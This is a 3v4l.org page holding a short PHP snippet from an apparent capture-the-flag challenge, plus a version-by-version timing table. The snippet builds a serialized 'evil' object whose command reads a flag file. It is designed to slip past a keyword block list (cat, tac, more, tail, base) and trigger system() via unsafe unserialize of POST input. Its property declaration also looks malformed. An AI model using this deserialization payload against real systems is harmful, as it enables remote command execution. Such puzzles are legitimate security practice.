3v4l.org

run code in 300+ PHP versions simultaneously
<?php //highlight_file(__FILE__); // Maybe you need learn some knowledge about deserialize? class evil { public cmd="head /th1s_1s_fffflllll4444aaaggggg"; // public function __destruct() // { // if(!preg_match("/cat|tac|more|tail|base/i", $this->cmd)){ // @system($this->cmd); // } // } } $a=new evil(); echo serialize($a); //@unserialize($_POST['unser']); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.4.10.0360.01117.70
8.3.140.0430.00316.54
8.3.130.0410.00016.18
8.3.120.0340.01116.20
8.3.110.0330.00916.89
8.3.100.0330.00616.57
8.3.90.0290.01116.51
8.3.80.0380.00616.29
8.3.70.0380.00516.39
8.3.60.0380.00816.47
8.3.50.0420.00416.59
8.3.40.0270.01417.58
8.3.30.0360.00417.48
8.3.20.0370.00417.59
8.3.10.0180.01417.52
8.3.00.0120.00917.56
8.2.260.0200.01716.53
8.2.250.0370.00616.72
8.2.240.0280.00616.43
8.2.230.0310.00816.29
8.2.220.0270.01116.47
8.2.210.0270.01216.34
8.2.200.0370.00316.22
8.2.190.0330.00316.42
8.2.180.0350.00316.34
8.2.170.0320.00617.55
8.2.160.0190.00817.61
8.2.150.0370.00317.35
8.2.140.0380.00917.16
8.2.130.0280.00617.21
8.2.120.0180.00717.34
8.2.110.0280.00617.33
8.2.100.0280.00517.38
8.2.90.0390.00417.45
8.2.80.0280.00917.14
8.2.70.0400.00017.16
8.2.60.0310.00717.19
8.2.50.0350.00417.18
8.2.40.0320.00417.43
8.2.30.0370.00017.26
8.2.20.0230.01017.48
8.2.10.0240.00817.25
8.2.00.0310.00317.18

preferences:
135.2 ms | 1447 KiB | 7 Q